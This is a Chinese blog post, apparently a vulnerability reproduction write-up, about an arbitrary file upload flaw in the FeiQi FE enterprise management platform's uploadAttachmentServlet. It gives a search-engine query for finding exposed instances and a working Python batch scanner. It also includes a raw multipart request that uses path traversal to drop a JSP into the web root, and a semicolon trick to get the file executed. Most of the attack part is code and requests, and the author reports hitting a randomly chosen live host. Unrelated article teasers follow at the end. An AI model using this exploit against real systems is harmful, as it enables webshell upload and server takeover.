当前位置: 首页 > news >正文

【漏洞复现】飞企互联-FE企业运营管理平台 uploadAttachmentServlet—文件上传漏洞

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云工作台。然而,该平台的uploadAttachmentServlet接口存在文件上传漏洞,这使得恶意攻击者有可能上传有害的后门程序或木马。这种攻击可能使得攻击者获得对服务器的远程访问权限,或者对系统造成破坏,给服务器带来严重的安全威胁。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"

2.使用poc批量扫描

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入请求库,用于发送HTTP请求
import requests
# 导入随机库,用于生成随机字符串
import random
# 导入字符串库,用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定义红色和重置终端颜色的字符串,用于输出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成随机基础字符串
def rand_base(n):"""生成包含n个字符的随机字符串。参数:n -- 字符串的长度返回值:随机生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检测URL是否存在上传漏洞
def check_vulnerability(url):"""检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。参数:url -- 待检测的URL无返回值。如果检测到漏洞,则打印提示信息;否则,打印无漏洞信息。"""# 生成随机文件名filename = rand_base(6)# 构造上传URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 设置上传请求的头部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 构造上传请求的数据upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 发送访问请求response_access = requests.get(access_url, verify=False, timeout=30)# 检查上传和访问的响应,判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 程序入口
def main():# 解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 根据参数执行漏洞检测if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

2.数据包分析 

  • 请求行:POST /servlet/uploadAttachmentServlet HTTP/1.1,表示这是一个POST请求,目标URL是/servlet/uploadAttachmentServlet,使用的HTTP协议版本是1.1。

  • 请求头:包括主机、用户代理、接受类型、接受语言、接受编码和连接等信息。

  • 请求体:包含两个部分,一个是文件内容,另一个是JSON数据。

    • 文件内容部分:

      • 边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk
      • 内容描述:Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp",表示上传的文件名为from.jsp,位于../../../jboss/web/fe.war/目录下。
      • 内容类型:Content-Type: text/plain,表示上传的文件类型为纯文本。
      • 文件内容:<% out.println("123123");%>,这是一个简单的JSP脚本,输出字符串"123123"。
    • JSON数据部分:

      • 边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk
      • 内容描述:Content-Disposition: form-data; name="json"
      • JSON数据:{"iq":{"query":{"UpdateType":"mail"}}},这是一个JSON对象,包含一个名为iq的对象,该对象又包含一个名为query的对象,最后这个query对象有一个名为UpdateType的属性,值为mail
  • 结束边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk--,表示请求体的结束。

3.结束跑路

使用yakit工具构造数据报发送

查看上传的文件,最后要用;结尾绕过解析。

访问上传的文件http://ip/from.jsp;

每篇一言:心向花开,何不朝夕。

相关文章:

【漏洞复现】飞企互联-FE企业运营管理平台 uploadAttachmentServlet—文件上传漏洞

声明&#xff1a;本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动&#xff0c;将与本文档的作者或发布者无关。 一、漏洞描述 企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云…...

基于深度学习的语言生成

基于深度学习的语言生成&#xff08;NLG, Natural Language Generation&#xff09;是一种利用深度学习模型生成自然语言文本的技术。它在智能写作、自动摘要、对话系统、机器翻译等领域有广泛应用。以下是对这一领域的系统介绍&#xff1a; 1. 任务和目标 语言生成的主要任务…...

Kafka Rebalance详解

作者&#xff1a;耀灵 1.rebalance概览 rebalance中文含义为再平衡。它本质上是一组协议&#xff0c;规定了一个 consumer group 是如何达成一致来分配订阅 topic 的所有分区的。比方说Consumer Group A 有3个consumer 实例&#xff0c;它要消费一个拥有6个分区的topic&#…...

在 Markdown 编辑器中插入 空格 Space 和 空行 Enter

1. 空格 Space &#xA0;2.空行 Enter <br/>...

js逆向-webpack-python

网站&#xff08;base64&#xff09;&#xff1a;aHR0cHM6Ly93d3cuY29pbmdsYXNzLmNvbS96aA 案例响应解密爬取&#xff08;webpack&#xff09; 1、找到目标url 2、进行入口定位&#xff08;此案例使用 ‘decrypt(’ 关键字搜索 &#xff09; 3、找到位置进行分析 --t 为 dat…...

Python精神病算法和自我认知异类数学模型

&#x1f3af;要点 &#x1f3af;空间不确定性和动态相互作用自我认知异类模型 | &#x1f3af;精神病神经元算法推理 | &#x1f3af;集体信念催化个人行动力数学模型 | &#x1f3af;物种基因进化关系网络算法 | &#x1f3af;电路噪声低功耗容错解码算法 &#x1f4dc;和-…...

npm install 报错:PhantomJS not found on PATH

npm install 报错&#xff1a;PhantomJS not found on PATH 整体报错内容 npm ERR! code 1 npm ERR! path G:\work-learn\open-coding\bruno\node_modules\phantomjs-prebuilt npm ERR! command failed npm ERR! command C:\Windows\system32\cmd.exe /d /s /c node install.…...

【C++进阶学习】第六弹——set和map——体会用C++来构建二叉搜索树

set和map基础&#xff1a;【C进阶学习】第五弹——二叉搜索树——二叉树进阶及set和map的铺垫-CSDN博客 前言&#xff1a; 在上篇的学习中&#xff0c;我们已经学习了如何使用C语言来实现二叉搜索树&#xff0c;在C中&#xff0c;我们是有现成的封装好的类模板来实现二叉搜索树…...

sqlmap确定目标/实操

安装kali&#xff0c;kali自带sqlmap&#xff0c;在window系统中跟linux系统操作有区别 sqlmap是一款自动化SQL工具&#xff0c;打开kali终端&#xff0c;输入sqlmap&#xff0c;出现以下界面&#xff0c;就说明sqlmap可用。 sqlmap确定目标 一、sqlmap直连数据库 1、直连数据库…...

Java笔试|面试 —— 对多态性的理解

谈谈对多态性的理解&#xff1a; 一个事物的多种形态&#xff08;编译和运行时状态不一致性&#xff09; 实现机制&#xff1a;通过继承、重写和向上转型&#xff08;Object obj new 子类()&#xff09;来实现。 1.广义上的理解 子类对象的多态性&#xff0c;方法的重写&am…...

从RL的专业角度解惑 instruct GPT的目标函数

作为早期chatGPT背后的核心技术&#xff0c;instruct GPT一直被业界奉为里程碑式的著作。但是这篇论文关于RL的部分确写的非常模糊&#xff0c;几乎一笔带过。当我们去仔细审查它的目标函数的时候&#xff0c;心中不免有诸多困惑。特别是作者提到用PPO来做强化学习&#xff0c;…...

location匹配的优先级和重定向

nginx的重定向&#xff08;rewrite&#xff09; location 匹配 location匹配的就是后面的uri /wordpress 192.168.233.10/wordpress location匹配的分类和优先级 1.精确匹配 location / 对字符串进行完全匹配&#xff0c;必须完全符合 2.正则匹配 ^-前缀级别&#xff…...

观察矩阵(View Matrix)、投影矩阵(Projection Matrix)、视口矩阵(Window Matrix)及VPM矩阵及它们之间的关系

V表示摄像机的观察矩阵&#xff08;View Matrix&#xff09;&#xff0c;它的作用是把对象从世界坐标系变换到摄像机坐标系。因此&#xff0c;对于世界坐标系下的坐标值worldCoord(x0, y0, z0)&#xff0c;如果希望使用观察矩阵VM将其变换为摄像机坐标系下的坐标值localCoord(x…...

谷粒商城学习笔记-19-快速开发-逆向生成所有微服务基本CRUD代码

文章目录 一&#xff0c;使用逆向工程步骤梳理1&#xff0c;修改逆向工程的application.yml配置2&#xff0c;修改逆向工程的generator.properties配置3&#xff0c;以Debug模式启动逆向工程4&#xff0c;使用逆向工程生成代码5&#xff0c;整合生成的代码到对应的模块中 二&am…...

时序预测 | Matlab实现TCN-Transformer的时间序列预测

时序预测 | Matlab实现TCN-Transformer的时间序列预测 目录 时序预测 | Matlab实现TCN-Transformer的时间序列预测效果一览基本介绍程序设计 效果一览 基本介绍 基于TCN-Transformer模型的时间序列预测&#xff0c;可以用于做光伏发电功率预测&#xff0c;风速预测&#xff0c;…...

没想到MySQL 9.0这么拉胯

MySQL 7月1号发布了9.0版本&#xff0c;然而没想到并没有引起大家的狂欢&#xff0c;反而是来自DBA圈子的一篇吐槽&#xff0c;尤其是PG界吐槽更厉害。 难道MySQL现在真的这么拉胯了&#xff1f;本着好奇的态度&#xff0c;我也去下载了MySQL9.0的手册看了一下。确实有点让我大…...

开源 Wiki 系统 InfoSphere 2024.01.1 发布

推荐一套基于 SpringBoot 开发的简单、易用的开源权限管理平台&#xff0c;建议下载使用: https://github.com/devlive-community/authx 推荐一套为 Java 开发人员提供方便易用的 SDK 来与目前提供服务的的 Open AI 进行交互组件&#xff1a;https://github.com/devlive-commun…...

1.Introduction to Spring Web MVC framework

Web MVC framework 文档&#xff1a;22. Web MVC framework (spring.io) 概述 Web MVC框架&#xff08;Web Model-View-Controller Framework&#xff09;是一种用于构建Web应用程序的软件架构模式。MVC模式将应用程序分为三个主要组件&#xff1a;模型&#xff08;Model&am…...

Onnx 1-深度学习-概述1

Onnx 1-深度学习-概述1 一: Onnx 概念1> Onnx 介绍2> Onnx 的作用3> Onnx 应用场景4> Onnx 文件格式1. Protobuf 特点2. onnx.proto3协议3> Onnx 模型基本操作二:Onnx API1> 算子详解2> Onnx 算子介绍三: Onnx 模型1> Onnx 函数功能1. np.random.rand…...

网络基础——udp协议

UDP协议&#xff08;User Datagram Protocol&#xff0c;用户数据报协议&#xff09;是OSI&#xff08;Open System Interconnection&#xff0c;开放式系统互联&#xff09;参考模型中一种无连接的传输层协议&#xff0c;它提供了一种简单的、不可靠的数据传输服务。以下是关于…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义&#xff08;Task Definition&…...

云计算——弹性云计算器(ECS)

弹性云服务器&#xff1a;ECS 概述 云计算重构了ICT系统&#xff0c;云计算平台厂商推出使得厂家能够主要关注应用管理而非平台管理的云平台&#xff0c;包含如下主要概念。 ECS&#xff08;Elastic Cloud Server&#xff09;&#xff1a;即弹性云服务器&#xff0c;是云计算…...

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

Qt Http Server模块功能及架构

Qt Http Server 是 Qt 6.0 中引入的一个新模块&#xff0c;它提供了一个轻量级的 HTTP 服务器实现&#xff0c;主要用于构建基于 HTTP 的应用程序和服务。 功能介绍&#xff1a; 主要功能 HTTP服务器功能&#xff1a; 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数&#xff08;函数作为参数、返回值&#xff09; 三、匿名函数与闭包1. 匿名函数&#xff08;Lambda函…...

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的

修改bug思路&#xff1a; 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑&#xff1a;async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...

深度学习水论文:mamba+图像增强

&#x1f9c0;当前视觉领域对高效长序列建模需求激增&#xff0c;对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模&#xff0c;以及动态计算优势&#xff0c;在图像质量提升和细节恢复方面有难以替代的作用。 &#x1f9c0;因此短时间内&#xff0c;就有不…...

【Redis】笔记|第8节|大厂高并发缓存架构实战与优化

缓存架构 代码结构 代码详情 功能点&#xff1a; 多级缓存&#xff0c;先查本地缓存&#xff0c;再查Redis&#xff0c;最后才查数据库热点数据重建逻辑使用分布式锁&#xff0c;二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...